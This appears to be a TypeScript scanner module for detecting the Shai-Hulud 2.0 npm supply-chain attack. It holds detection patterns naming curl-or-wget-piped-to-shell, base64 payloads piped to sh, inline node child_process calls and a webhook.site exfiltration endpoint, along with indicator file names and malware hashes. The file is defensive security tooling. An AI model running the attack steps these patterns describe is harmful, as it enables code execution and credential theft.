tops-bmad
Version:
CLI tool to install BMAD workflow files into any project with integrated Shai-Hulud 2.0 security scanning
1,542 lines (1,383 loc) • 60.4 kB
text/typescript
import * as crypto from 'crypto';
import * as fs from 'fs';
import * as path from 'path';
import SemVer from 'semver/classes/semver';
import intersects from 'semver/ranges/intersects';
import satisfies from 'semver/functions/satisfies';
import masterPackagesData from '../compromised-packages.json';
import type {
MasterPackages,
PackageJson,
PackageLock,
SarifResult,
ScanResult,
ScanSummary,
SecurityFinding,
} from './types';
// =============================================================================
// SUSPICIOUS PATTERNS FOR ADVANCED DETECTION
// =============================================================================
// Suspicious commands in package.json scripts
// NOTE: Patterns are ordered by specificity - more specific patterns first
const SUSPICIOUS_SCRIPT_PATTERNS = [
// ==========================================================================
// CRITICAL: Shai-Hulud specific IoCs (highest priority)
// ==========================================================================
{
pattern: /setup_bun\.js/i,
description: 'Shai-Hulud malicious setup script',
},
{
pattern: /bun_environment\.js/i,
description: 'Shai-Hulud environment script',
},
// ==========================================================================
// HIGH RISK: Remote code execution patterns
// ==========================================================================
{
// Curl/wget piped to shell - classic supply chain attack vector
pattern: /\b(curl|wget)\s+[^|]*\|\s*(ba)?sh/i,
description: 'Remote script piped to shell execution',
},
{
// Command substitution with network tools
pattern: /\$\((curl|wget)\b/i,
description: 'Command substitution with network fetch',
},
// ==========================================================================
// EVAL PATTERNS: Carefully designed to avoid false positives
// ==========================================================================
{
// JavaScript eval() function call - always suspicious
pattern: /\beval\s*\([^)]/i,
description: 'JavaScript eval() with code execution',
},
{
// Shell eval with variable expansion or command substitution
// Uses negative lookbehind to exclude --eval and -eval (Node CLI flags)
// Matches: eval "$VAR", eval '...', eval `...`, eval $(...)
pattern: /(?<![-])eval\s+['"`$]/i,
description: 'Shell eval with dynamic content',
},
// ==========================================================================
// OBFUSCATION PATTERNS: Common in malicious payloads
// ==========================================================================
{
// Base64 decode piped to execution - common obfuscation technique
// Matches: base64 -d, base64 --decode, base64 -D, base64 decode
pattern: /base64\s+(-{1,2})?d(ecode)?\b[^|]*\|\s*(ba)?sh/i,
description: 'Base64 decoded payload piped to shell',
},
{
// Base64 decode in Node execution context
pattern: /node\s+.*Buffer\.from\s*\([^)]+,\s*['"]base64['"]\)/i,
description: 'Base64 payload execution in Node.js',
},
// ==========================================================================
// NODE -e PATTERNS: Only flag when containing suspicious operations
// ==========================================================================
{
// Node inline execution with network operations
pattern: /node\s+(-e|--eval)\s+['"].*?(https?:|fetch\(|require\s*\(\s*['"]https?)/i,
description: 'Node.js inline code with network access',
},
{
// Node inline execution with child_process or spawn/exec
// Matches require('child_process'), child_process, spawn(, exec(, execSync
pattern: /node\s+(-e|--eval)\s+[^|]*child_process/i,
description: 'Node.js inline code with shell execution',
},
{
// Node inline execution with eval (eval inside node -e)
pattern: /node\s+(-e|--eval)\s+['"].*?\beval\s*\(/i,
description: 'Node.js inline code with eval()',
},
// ==========================================================================
// NPX PATTERNS: Auto-install can pull malicious packages
// ==========================================================================
{
// npx with --yes flag auto-installing arbitrary versioned packages
// More specific: requires @version pattern suggesting specific version targeting
pattern: /npx\s+(-y|--yes)\s+\S+@\d/i,
description: 'NPX auto-install of specific package version',
},
];
// TruffleHog and credential scanning patterns
const TRUFFLEHOG_PATTERNS = [
{ pattern: /trufflehog/i, description: 'TruffleHog reference detected' },
{ pattern: /trufflesecurity/i, description: 'TruffleSecurity reference' },
{
pattern: /credential[_-]?scan/i,
description: 'Credential scanning pattern',
},
{ pattern: /secret[_-]?scan/i, description: 'Secret scanning pattern' },
{ pattern: /--json\s+--no-update/i, description: 'TruffleHog CLI pattern' },
{
pattern: /github\.com\/trufflesecurity\/trufflehog/i,
description: 'TruffleHog GitHub download',
},
{
pattern: /releases\/download.*trufflehog/i,
description: 'TruffleHog binary download',
},
];
// Shai-Hulud repository indicators
const SHAI_HULUD_REPO_PATTERNS = [
{ pattern: /shai[-_]?hulud/i, description: 'Shai-Hulud repository name' },
{
pattern: /the\s+second\s+coming/i,
description: 'Shai-Hulud campaign description',
},
{ pattern: /sha1hulud/i, description: 'SHA1HULUD variant' },
];
// Malicious runner patterns in GitHub Actions
const MALICIOUS_RUNNER_PATTERNS = [
{
pattern: /runs-on:\s*['"]?SHA1HULUD/i,
description: 'SHA1HULUD malicious runner',
},
{
pattern: /runs-on:\s*['"]?self-hosted.*SHA1HULUD/i,
description: 'Self-hosted SHA1HULUD runner',
},
{
pattern: /runner[_-]?name.*SHA1HULUD/i,
description: 'SHA1HULUD runner reference',
},
{ pattern: /labels:.*SHA1HULUD/i, description: 'SHA1HULUD runner label' },
];
// Malicious workflow file patterns
const MALICIOUS_WORKFLOW_PATTERNS = [
{
pattern: /formatter_.*\.yml$/i,
description: 'Shai-Hulud formatter workflow (formatter_*.yml)',
},
{
pattern: /discussion\.ya?ml$/i,
description: 'Shai-Hulud discussion workflow',
},
];
// Malicious workflow trigger patterns (content-based detection)
const MALICIOUS_WORKFLOW_TRIGGERS = [
{
pattern: /on:\s*discussion\b/i,
description: 'Discussion event trigger (used for command injection backdoor)',
},
{
pattern: /on:\s*\[?\s*discussion\s*\]?/i,
description: 'Discussion event in workflow trigger array',
},
];
// Known SHA256 hashes of malicious files (from Datadog Security Labs)
const KNOWN_MALWARE_HASHES: Record<string, string[]> = {
'setup_bun.js': ['a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a'],
'bun_environment.js': [
'62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0',
'cbb9bc5a8496243e02f3cc080efbe3e4a1430ba0671f2e43a202bf45b05479cd',
'f099c5d9ec417d4445a0328ac0ada9cde79fc37410914103ae9c609cbc0ee068',
'f1df4896244500671eb4aa63ebb48ea11cee196fafaa0e9874e17b24ac053c02',
'9d59fd0bcc14b671079824c704575f201b74276238dc07a9c12a93a84195648a',
'e0250076c1d2ac38777ea8f542431daf61fcbaab0ca9c196614b28065ef5b918',
],
};
// Shai-Hulud runner installation paths
const RUNNER_INSTALLATION_PATTERNS = [
{
pattern: /\.dev-env\//i,
description: 'Shai-Hulud runner installation directory (.dev-env/)',
},
{
pattern: /actions-runner-linux-x64-2\.330\.0/i,
description: 'Specific GitHub Actions runner version used by attack',
},
];
// Medium Risk: Suspicious content patterns (webhook exfiltration)
const WEBHOOK_EXFIL_PATTERNS = [
{
pattern: /webhook\.site/i,
description: 'Webhook.site exfiltration endpoint',
},
{
pattern: /bb8ca5f6-4175-45d2-b042-fc9ebb8170b7/i,
description: 'Known malicious webhook UUID',
},
];
/**
* Check if content contains suspicious exfiltration patterns.
* More specific than simple "exfiltrat" matching to avoid false positives
* from legitimate security documentation (e.g., @lit/reactive-element).
*
* Requires "exfiltrat" to appear near suspicious context:
* - Network methods: fetch, XMLHttpRequest, axios, request
* - Data transmission: .send(, .post(, .write(
* - Encoding: base64, btoa, Buffer.from
* - URLs: http://, https://, //
*/
function hasExfiltrationContext(content: string): {
found: boolean;
evidence?: string;
} {
// Skip if no exfiltration reference at all
if (!/exfiltrat/i.test(content)) {
return { found: false };
}
// Check for exfiltration near suspicious patterns (within ~200 chars)
const suspiciousPatterns = [
// Network/HTTP methods
/exfiltrat.{0,200}(fetch|XMLHttpRequest|axios|request\(|\.get\(|\.post\()/is,
/(fetch|XMLHttpRequest|axios|request\(|\.get\(|\.post\().{0,200}exfiltrat/is,
// Data sending
/exfiltrat.{0,200}(\.send\(|\.write\(|sendBeacon)/is,
/(\.send\(|\.write\(|sendBeacon).{0,200}exfiltrat/is,
// Encoding (common in data exfil)
/exfiltrat.{0,200}(base64|btoa|Buffer\.from|atob)/is,
/(base64|btoa|Buffer\.from|atob).{0,200}exfiltrat/is,
// URLs (data being sent somewhere)
/exfiltrat.{0,200}(https?:\/\/|\/\/\w)/is,
/(https?:\/\/|\/\/\w).{0,100}exfiltrat/is,
// Webhook references
/exfiltrat.{0,200}webhook/is,
/webhook.{0,200}exfiltrat/is,
// Secrets/credentials context
/exfiltrat.{0,200}(secret|credential|token|password|apikey|api_key)/is,
/(secret|credential|token|password|apikey|api_key).{0,200}exfiltrat/is,
];
for (const pattern of suspiciousPatterns) {
if (pattern.test(content)) {
return {
found: true,
evidence: 'Exfiltration code pattern detected',
};
}
}
return { found: false };
}
// Known affected namespaces (for low-risk warnings)
const AFFECTED_NAMESPACES = [
'@zapier',
'@posthog',
'@asyncapi',
'@postman',
'@ensdomains',
'@ens',
'@voiceflow',
'@browserbase',
'@ctrl',
'@crowdstrike',
'@art-ws',
'@ngx',
'@nativescript-community',
'@oku-ui',
];
// Files/paths to exclude from scanning (detector's own source code)
const EXCLUDED_PATHS = [
/shai-hulud.*detector/i,
/\/src\/scanner\.(ts|js)$/i,
/\/src\/types\.(ts|js)$/i,
/\/src\/index\.(ts|js)$/i,
/\/dist\/index\.js$/i,
/\/dist\/.*\.d\.ts$/i,
/\/[^/]*\.xcassets\/.*\/contents\.json$/i,
];
/**
* Determine whether a file path should be excluded from security scanning to avoid
* self-referencing false positives (the detector's own source/build artifacts).
* Normalizes path separators and matches against a curated exclusion pattern list.
* @param filePath Absolute or relative path to evaluate.
* @returns true if the path should be skipped.
*/
function isExcludedPath(filePath: string): boolean {
// Normalize path separators
const normalizedPath = filePath.replace(/\\/g, '/');
// Check if this looks like the detector's own source
for (const pattern of EXCLUDED_PATHS) {
if (pattern.test(normalizedPath)) {
return true;
}
}
// Also exclude if the file contains detector identification markers
return false;
}
/**
* Heuristically identify the detector's own source code by counting unique marker
* strings present in the file content. Used to suppress self-scan findings.
* @param content Raw file contents (UTF-8 decoded).
* @returns true if content is likely detector source code.
*/
function isDetectorSourceCode(content: string): boolean {
// Check for unique markers that identify this as the detector's source
const detectorMarkers = [
'SHAI-HULUD 2.0 SUPPLY CHAIN ATTACK DETECTOR',
'gensecaihq/Shai-Hulud-2.0-Detector',
'SUSPICIOUS PATTERNS FOR ADVANCED DETECTION',
'checkTrufflehogActivity',
'checkMaliciousRunners',
];
let markerCount = 0;
for (const marker of detectorMarkers) {
if (content.includes(marker)) {
markerCount++;
}
}
// If 2+ markers found, this is likely the detector's source
return markerCount >= 2;
}
const masterPackages: MasterPackages = masterPackagesData as MasterPackages;
// Create a Set for O(1) lookup
const affectedPackageNames = new Set(
masterPackages.packages.map((p) => p.name),
);
/**
* Fast membership check for whether a package name appears in the compromised
* master package list.
* @param packageName The dependency name to check.
* @param version Optional specific version to check (defaults to '*').
* @returns true if the package is flagged as affected.
*/
export function isAffected(packageName: string, version: string = '*'): boolean {
if (affectedPackageNames.has(packageName)) {
const pkg = masterPackages.packages.find((p) => p.name === packageName);
if (!pkg) return false;
if (version === '*' || pkg.affectedVersions.includes('*')) {
return true;
}
if (pkg.affectedVersions.includes(version)) {
return true;
}
try {
const semverVersion = new SemVer(version, {loose: true});
return pkg.affectedVersions.some(range => satisfies(semverVersion, range));
} catch (e) {
// Invalid semver version, probably because version is itself a range from package.lock
return pkg.affectedVersions.some(range => intersects(version, range, {loose: true}));
}
}
return false;
}
/**
* Retrieve the recorded severity for an affected package. Defaults to 'critical'
* if the package entry is missing (defensive fallback).
* @param packageName Name of the compromised package.
* @returns Severity classification.
*/
export function getPackageSeverity(
packageName: string,
): 'critical' | 'high' | 'medium' | 'low' {
const pkg = masterPackages.packages.find((p) => p.name === packageName);
return pkg?.severity || 'critical';
}
/**
* Safely parse a package.json file returning null if unreadable or invalid JSON.
* @param filePath Path to a package.json file.
* @returns Parsed PackageJson object or null on failure.
*/
export function parsePackageJson(filePath: string): PackageJson | null {
try {
const content = fs.readFileSync(filePath, 'utf8');
return JSON.parse(content) as PackageJson;
} catch {
console.error(`Failed to parse package.json at ${filePath}`);
return null;
}
}
/**
* Parse a package-lock.json (v1/v2/v3) or npm-shrinkwrap.json file with graceful
* failure on read/parse errors.
* @param filePath Lockfile path.
* @returns Parsed PackageLock object or null on failure.
*/
export function parsePackageLock(filePath: string): PackageLock | null {
try {
const content = fs.readFileSync(filePath, 'utf8');
return JSON.parse(content) as PackageLock;
} catch {
return null;
}
}
/**
* Lightweight yarn.lock parser extracting package name -> version mappings.
* Only intended for identifying affected packages; not a full fidelity parser.
* @param filePath yarn.lock file path.
* @returns Map of package names to versions or null on failure.
*/
export function parseYarnLock(filePath: string): Map<string, string> | null {
try {
const content = fs.readFileSync(filePath, 'utf8');
const packages = new Map<string, string>();
// Simple yarn.lock parser - extract package names
const lines = content.split('\n');
let currentPackage = '';
for (const line of lines) {
// Package declaration lines start without whitespace and contain @
if (
!line.startsWith(' ') &&
!line.startsWith('#') &&
line.includes('@')
) {
// Parse package name from lines like:
// "@asyncapi/diff@^1.0.0":
// "posthog-node@^5.0.0":
const match = line.match(/^"?(@?[^@\s"]+)/);
if (match) {
currentPackage = match[1];
}
}
// Version line
if (line.trim().startsWith('version') && currentPackage) {
const versionMatch = line.match(/version\s+"([^"]+)"/);
if (versionMatch) {
packages.set(currentPackage, versionMatch[1]);
}
}
}
return packages;
} catch {
return null;
}
}
/**
* Scan a package.json for compromised dependencies across all dependency blocks
* (dependencies, dev, peer, optional). Marks each finding with direct/transitive flag.
* @param filePath Path to package.json.
* @param isDirect Whether dependencies should be considered direct (root-level scan).
* @returns List of ScanResult entries.
*/
export function scanPackageJson(
filePath: string,
isDirect: boolean = true,
): ScanResult[] {
const results: ScanResult[] = [];
const pkg = parsePackageJson(filePath);
if (!pkg) return results;
const allDeps = {
...pkg.dependencies,
...pkg.devDependencies,
...pkg.peerDependencies,
...pkg.optionalDependencies,
};
for (const [name, version] of Object.entries(allDeps)) {
const affected = isAffected(name, version);
results.push({
package: name,
version: version || 'unknown',
affected,
severity: affected ? getPackageSeverity(name) : 'none',
isDirect,
location: filePath,
});
}
return results;
}
/**
* Scan an npm lockfile (v1/v2/v3) for affected packages. Determines direct vs
* transitive by comparing against the associated package.json.
* @param filePath Lockfile path.
* @returns ScanResult list of affected packages.
*/
export function scanPackageLock(filePath: string): ScanResult[] {
const results: ScanResult[] = [];
const lock = parsePackageLock(filePath);
if (!lock) return results;
// Read the associated package.json to determine direct dependencies
const lockDir = path.dirname(filePath);
const pkgJsonPath = path.join(lockDir, 'package.json');
const pkgJson = parsePackageJson(pkgJsonPath);
// Build a set of direct dependency names from package.json
const directDeps = new Set<string>();
if (pkgJson) {
if (pkgJson.dependencies) {
Object.keys(pkgJson.dependencies).forEach((name) => directDeps.add(name));
}
if (pkgJson.devDependencies) {
Object.keys(pkgJson.devDependencies).forEach((name) => directDeps.add(name));
}
if (pkgJson.peerDependencies) {
Object.keys(pkgJson.peerDependencies).forEach((name) => directDeps.add(name));
}
if (pkgJson.optionalDependencies) {
Object.keys(pkgJson.optionalDependencies).forEach((name) => directDeps.add(name));
}
}
// Scan v2/v3 lockfile format (packages object)
if (lock.packages) {
for (const [pkgPath, entry] of Object.entries(lock.packages)) {
// Extract package name from path like "node_modules/@asyncapi/diff"
const match = pkgPath.match(/node_modules\/(.+)$/);
if (match) {
const name = match[1];
const affected = isAffected(name, entry.version);
results.push({
package: name,
version: entry.version || 'unknown',
affected,
severity: affected ? getPackageSeverity(name) : 'none',
isDirect: directDeps.has(name),
location: filePath,
});
}
}
}
// Scan v1 lockfile format (dependencies object)
if (lock.dependencies) {
const scanDependencies = (deps: Record<string, any>, isNested: boolean) => {
for (const [name, entry] of Object.entries(deps)) {
const affected = isAffected(name, entry.version);
results.push({
package: name,
version: entry.version || 'unknown',
affected,
severity: affected ? getPackageSeverity(name) : 'none',
isDirect: directDeps.has(name),
location: filePath,
});
// Recursively scan nested dependencies
if (entry.dependencies) {
scanDependencies(entry.dependencies, true);
}
}
};
scanDependencies(lock.dependencies, false);
}
return results;
}
/**
* Scan a yarn.lock for affected packages. Yarn lockfiles do not distinguish
* direct vs transitive so all findings are marked transitive.
* @param filePath yarn.lock path.
* @returns ScanResult list.
*/
export function scanYarnLock(filePath: string): ScanResult[] {
const results: ScanResult[] = [];
const packages = parseYarnLock(filePath);
if (!packages) return results;
for (const [name, version] of packages.entries()) {
const affected = isAffected(name, version);
results.push({
package: name,
version,
affected,
severity: affected ? getPackageSeverity(name) : 'none',
isDirect: false, // yarn.lock doesn't indicate direct vs transitive
location: filePath,
});
}
return results;
}
/**
* Discover recognized lockfiles recursively (depth <= 5) excluding node_modules
* and hidden directories.
* @param directory Root directory to begin search.
* @param scanNodeModules Whether to include node_modules directories in the scan. Defaults to false.
* @returns Array of absolute lockfile paths.
*/
export function findLockfiles(directory: string, scanNodeModules: boolean = false): string[] {
const lockfiles: string[] = [];
const possibleFiles = [
'package-lock.json',
'yarn.lock',
'pnpm-lock.yaml',
'npm-shrinkwrap.json',
];
// Search in root and subdirectories (for monorepos)
const searchDir = (dir: string, depth: number = 0) => {
if (depth > 5) return; // Limit depth to prevent excessive recursion
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isFile() && possibleFiles.includes(entry.name)) {
lockfiles.push(fullPath);
} else if (
entry.isDirectory() &&
!entry.name.startsWith('.') &&
(scanNodeModules || entry.name !== 'node_modules')
) {
searchDir(fullPath, depth + 1);
}
}
} catch {
// Skip directories we can't read
}
};
searchDir(directory);
return lockfiles;
}
/**
* Recursively locate package.json files up to depth 5 (monorepo friendly), skipping
* node_modules and dot-prefixed directories.
* @param directory Root search directory.
* @param scanNodeModules Whether to include node_modules directories in the scan. Defaults to false.
* @returns Array of package.json paths.
*/
export function findPackageJsonFiles(directory: string, scanNodeModules: boolean = false): string[] {
const packageFiles: string[] = [];
const searchDir = (dir: string, depth: number = 0) => {
if (depth > 5) return;
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isFile() && entry.name === 'package.json') {
packageFiles.push(fullPath);
} else if (
entry.isDirectory() &&
!entry.name.startsWith('.') &&
(scanNodeModules || entry.name !== 'node_modules')
) {
searchDir(fullPath, depth + 1);
}
}
} catch {
// Skip directories we can't read
}
};
searchDir(directory);
return packageFiles;
}
// =============================================================================
// ADVANCED SECURITY CHECKS
// =============================================================================
/**
* Inspect scripts in a package.json for indicators of compromise (IoCs) and general
* suspicious execution patterns (curl|sh, wget|sh, eval, base64 decode, inline node -e, etc.).
* Critical severity is assigned to malicious Shai-Hulud artifacts or dangerous lifecycle hooks.
* @param filePath Path to package.json.
* @returns SecurityFinding list.
*/
export function checkSuspiciousScripts(filePath: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const pkg = parsePackageJson(filePath);
if (!pkg || !pkg.scripts) return findings;
for (const [scriptName, scriptContent] of Object.entries(pkg.scripts)) {
if (!scriptContent) continue;
// Check all suspicious patterns
// NOTE: Patterns are designed to avoid false positives (e.g., --eval vs shell eval)
for (const { pattern, description } of SUSPICIOUS_SCRIPT_PATTERNS) {
if (pattern.test(scriptContent)) {
// Determine severity based on script type and pattern
const isLifecycleHook = [
'preinstall',
'postinstall',
'prepare',
'prepublish',
'prepublishOnly',
].includes(scriptName);
// Shai-Hulud IoCs are always critical
const isShaiHuludIoC =
/setup_bun\.js|bun_environment\.js/i.test(scriptContent);
// Remote code execution patterns are critical in lifecycle hooks
const isRemoteCodeExec =
/curl|wget|fetch\(|\$\(curl|\$\(wget/i.test(scriptContent);
const isCritical =
isShaiHuludIoC || (isLifecycleHook && isRemoteCodeExec);
findings.push({
type: 'suspicious-script',
severity: isCritical ? 'critical' : 'high',
title: isShaiHuludIoC
? `Shai-Hulud malicious script in "${scriptName}"`
: `Suspicious "${scriptName}" script`,
description: isShaiHuludIoC
? `The "${scriptName}" script contains a reference to known Shai-Hulud malicious files. This is a strong indicator of compromise.`
: `${description}. This pattern is commonly used in supply chain attacks.`,
location: filePath,
evidence: `"${scriptName}": "${scriptContent.substring(0, 200)}${scriptContent.length > 200 ? '...' : ''}"`,
});
break; // Only report first match per script
}
}
}
return findings;
}
/**
* Traverse the repository (depth <= 5) searching for TruffleHog references, payload
* artifacts, and exfiltration endpoints in script & code files. Skips detector sources
* via path/content heuristics.
* @param directory Root directory to scan.
* @returns SecurityFinding list of critical indicators.
*/
export function checkTrufflehogActivity(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const suspiciousFiles: string[] = [];
const searchDir = (dir: string, depth: number = 0) => {
if (depth > 5) return;
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isFile()) {
// Check for TruffleHog binary or related files
if (
/trufflehog/i.test(entry.name) ||
entry.name === 'bun_environment.js' ||
entry.name === 'setup_bun.js'
) {
suspiciousFiles.push(fullPath);
}
// Scan content of shell scripts and JS files
if (/\.(sh|js|ts|mjs|cjs)$/i.test(entry.name)) {
// Skip excluded paths (detector's own source code)
if (isExcludedPath(fullPath)) {
continue;
}
try {
const content = fs.readFileSync(fullPath, 'utf8');
// Skip if this is the detector's own source code
if (isDetectorSourceCode(content)) {
continue;
}
for (const { pattern, description } of TRUFFLEHOG_PATTERNS) {
if (pattern.test(content)) {
findings.push({
type: 'trufflehog-activity',
severity: 'critical',
title: `TruffleHog activity detected`,
description: `${description}. This may indicate automated credential theft as part of the Shai-Hulud attack.`,
location: fullPath,
evidence: pattern.toString(),
});
break;
}
}
// Check for webhook exfiltration endpoints
for (const { pattern, description } of WEBHOOK_EXFIL_PATTERNS) {
if (pattern.test(content)) {
findings.push({
type: 'secrets-exfiltration',
severity: 'critical',
title: `Data exfiltration endpoint detected`,
description: `${description}. This endpoint may be used to exfiltrate stolen credentials.`,
location: fullPath,
evidence: pattern.toString(),
});
break;
}
}
// Check for exfiltration code patterns (context-aware)
const exfilCheck = hasExfiltrationContext(content);
if (exfilCheck.found) {
findings.push({
type: 'secrets-exfiltration',
severity: 'high',
title: `Suspicious exfiltration code pattern`,
description: `${exfilCheck.evidence}. Code appears to exfiltrate data to an external endpoint.`,
location: fullPath,
evidence: 'exfiltration + network/encoding context',
});
}
} catch {
// Skip files we can't read
}
}
} else if (
entry.isDirectory() &&
!entry.name.startsWith('.') &&
entry.name !== 'node_modules'
) {
searchDir(fullPath, depth + 1);
}
}
} catch {
// Skip directories we can't read
}
};
searchDir(directory);
// Report suspicious files found
for (const file of suspiciousFiles) {
const fileName = path.basename(file);
findings.push({
type: 'trufflehog-activity',
severity: 'critical',
title: `Suspicious file: ${fileName}`,
description: `Found file "${fileName}" which is associated with the Shai-Hulud attack. This file may download and execute TruffleHog for credential theft.`,
location: file,
});
}
return findings;
}
/**
* Detect presence of Shai-Hulud exfiltration output files (actionsSecrets.json, cloud.json,
* contents.json, environment.json, truffleSecrets.json, etc.) and large obfuscated payloads.
* Also flags potential encoded secrets JSON files.
* @param directory Root directory.
* @returns SecurityFinding list.
*/
export function checkSecretsExfiltration(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const searchDir = (dir: string, depth: number = 0) => {
if (depth > 5) return;
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isFile()) {
// Check for actionsSecrets.json
if (entry.name === 'actionsSecrets.json') {
findings.push({
type: 'secrets-exfiltration',
severity: 'critical',
title: `Secrets exfiltration file detected`,
description: `Found "actionsSecrets.json" which is used by the Shai-Hulud attack to store stolen credentials with double Base64 encoding before exfiltration.`,
location: fullPath,
});
}
// Check for known Shai-Hulud exfiltration/output files
const knownMaliciousFiles = [
'cloud.json',
'contents.json',
'environment.json',
'truffleSecrets.json',
'trufflehog_output.json',
];
if (knownMaliciousFiles.includes(entry.name.toLowerCase())) {
const isXcodeAssetContents =
/\/[^/]+\.xcassets\/(?:.*\/)?contents\.json$/i.test(fullPath);
if (isXcodeAssetContents) {
continue;
}
findings.push({
type: 'secrets-exfiltration',
severity: 'critical',
title: `Shai-Hulud output file: ${entry.name}`,
description: `Found "${entry.name}" which is a known output file from the Shai-Hulud attack containing harvested credentials or environment data.`,
location: fullPath,
});
}
// Check for large obfuscated JS files (bun_environment.js is typically 10MB+)
if (entry.name === 'bun_environment.js') {
try {
const stats = fs.statSync(fullPath);
const sizeMB = stats.size / (1024 * 1024);
findings.push({
type: 'trufflehog-activity',
severity: 'critical',
title: `Shai-Hulud payload file: bun_environment.js`,
description: `Found "bun_environment.js" (${sizeMB.toFixed(2)}MB). This is the main obfuscated payload used by the Shai-Hulud attack to execute TruffleHog for credential theft.`,
location: fullPath,
evidence: `File size: ${sizeMB.toFixed(2)}MB`,
});
} catch {
// If we can't stat, still report it
findings.push({
type: 'trufflehog-activity',
severity: 'critical',
title: `Shai-Hulud payload file: bun_environment.js`,
description: `Found "bun_environment.js" which is the main obfuscated payload used by the Shai-Hulud attack.`,
location: fullPath,
});
}
}
// Check for other suspicious JSON files that might contain secrets
if (
/secrets?\.json$/i.test(entry.name) ||
/credentials?\.json$/i.test(entry.name) ||
/exfil.*\.json$/i.test(entry.name)
) {
try {
const content = fs.readFileSync(fullPath, 'utf8');
// Check if it looks like base64 encoded data
if (/^[A-Za-z0-9+/=]{100,}$/m.test(content)) {
findings.push({
type: 'secrets-exfiltration',
severity: 'high',
title: `Potential secrets file with encoded data`,
description: `Found "${entry.name}" containing what appears to be Base64 encoded data. This may be exfiltrated credentials.`,
location: fullPath,
});
}
} catch {
// Skip files we can't read
}
}
} else if (
entry.isDirectory() &&
!entry.name.startsWith('.') &&
entry.name !== 'node_modules'
) {
searchDir(fullPath, depth + 1);
}
}
} catch {
// Skip directories we can't read
}
};
searchDir(directory);
return findings;
}
/**
* Scan GitHub Actions workflow YAML files for malicious runner labels (SHA1HULUD),
* suspicious workflow filenames, and Shai-Hulud repository indicators while excluding
* legitimate detector usage.
* @param directory Root repository directory.
* @returns SecurityFinding list.
*/
export function checkMaliciousRunners(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const workflowDirs = [
path.join(directory, '.github', 'workflows'),
path.join(directory, '.github'),
];
// Pattern to identify legitimate detector workflows (exclude from false positives)
const DETECTOR_WORKFLOW_PATTERN =
/gensecaihq\/Shai-Hulud-2\.0-Detector|Shai-Hulud.*Detector|shai-hulud-check|shai-hulud.*security/i;
for (const workflowDir of workflowDirs) {
if (!fs.existsSync(workflowDir)) continue;
try {
const entries = fs.readdirSync(workflowDir, { withFileTypes: true });
for (const entry of entries) {
if (!entry.isFile()) continue;
if (!/\.(yml|yaml)$/i.test(entry.name)) continue;
const fullPath = path.join(workflowDir, entry.name);
// Check for malicious workflow filename patterns (formatter_*.yml, discussion.yaml)
for (const { pattern, description } of MALICIOUS_WORKFLOW_PATTERNS) {
if (pattern.test(entry.name)) {
findings.push({
type: 'malicious-runner',
severity: 'critical',
title: `Suspicious workflow file: ${entry.name}`,
description: `${description}. This workflow filename matches patterns used by the Shai-Hulud attack for credential theft.`,
location: fullPath,
evidence: entry.name,
});
}
}
try {
const content = fs.readFileSync(fullPath, 'utf8');
// Skip workflows that are using the detector (legitimate use)
if (
DETECTOR_WORKFLOW_PATTERN.test(content) ||
DETECTOR_WORKFLOW_PATTERN.test(entry.name)
) {
continue;
}
// Check for malicious runner patterns
for (const { pattern, description } of MALICIOUS_RUNNER_PATTERNS) {
if (pattern.test(content)) {
findings.push({
type: 'malicious-runner',
severity: 'critical',
title: `Malicious GitHub Actions runner detected`,
description: `${description}. The SHA1HULUD runner is used by the Shai-Hulud attack to execute credential theft in CI/CD environments.`,
location: fullPath,
evidence: pattern.toString(),
});
}
}
// Check for malicious workflow triggers (on: discussion)
for (const { pattern, description } of MALICIOUS_WORKFLOW_TRIGGERS) {
if (pattern.test(content)) {
findings.push({
type: 'malicious-runner',
severity: 'critical',
title: `Malicious workflow trigger: on:discussion`,
description: `${description}. The Shai-Hulud attack uses discussion events to trigger command injection backdoors.`,
location: fullPath,
evidence: pattern.toString(),
});
break; // Only report once per file
}
}
// Check for Shai-Hulud repo patterns in workflow (excluding detector references)
for (const { pattern, description } of SHAI_HULUD_REPO_PATTERNS) {
if (pattern.test(content)) {
// Additional check: make sure it's not just referencing the detector
const contentWithoutDetector = content.replace(
/gensecaihq\/Shai-Hulud-2\.0-Detector[^\s]*/gi,
'',
);
if (pattern.test(contentWithoutDetector)) {
findings.push({
type: 'shai-hulud-repo',
severity: 'critical',
title: `Shai-Hulud reference in workflow`,
description: `${description}. This workflow may be configured to exfiltrate data to attacker-controlled repositories.`,
location: fullPath,
evidence: pattern.toString(),
});
}
}
}
} catch {
// Skip files we can't read
}
}
} catch {
// Skip directories we can't read
}
}
return findings;
}
/**
* Inspect git config and package.json files for Shai-Hulud repository related markers
* excluding references to the detector itself. Flags remote/potential infra compromise.
* @param directory Root repo directory.
* @returns SecurityFinding list.
*/
export function checkShaiHuludRepos(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
// Check git config
const gitConfigPath = path.join(directory, '.git', 'config');
if (fs.existsSync(gitConfigPath)) {
try {
const content = fs.readFileSync(gitConfigPath, 'utf8');
// Skip if this is the detector's own repository
if (
content.includes('Shai-Hulud-2.0-Detector') ||
content.includes('gensecaihq')
) {
// This is the detector's own repo, skip
} else {
for (const { pattern, description } of SHAI_HULUD_REPO_PATTERNS) {
if (pattern.test(content)) {
findings.push({
type: 'shai-hulud-repo',
severity: 'critical',
title: `Shai-Hulud repository reference in git config`,
description: `${description}. Your repository may have been configured to push to an attacker-controlled remote.`,
location: gitConfigPath,
});
}
}
}
} catch {
// Skip if we can't read
}
}
// Check package.json for repository references
const packageJsonFiles = findPackageJsonFiles(directory);
for (const file of packageJsonFiles) {
try {
const content = fs.readFileSync(file, 'utf8');
// Skip if this is the detector's own package.json
if (
content.includes('gensecaihq/Shai-Hulud-2.0-Detector') ||
content.includes('shai-hulud-detector')
) {
continue;
}
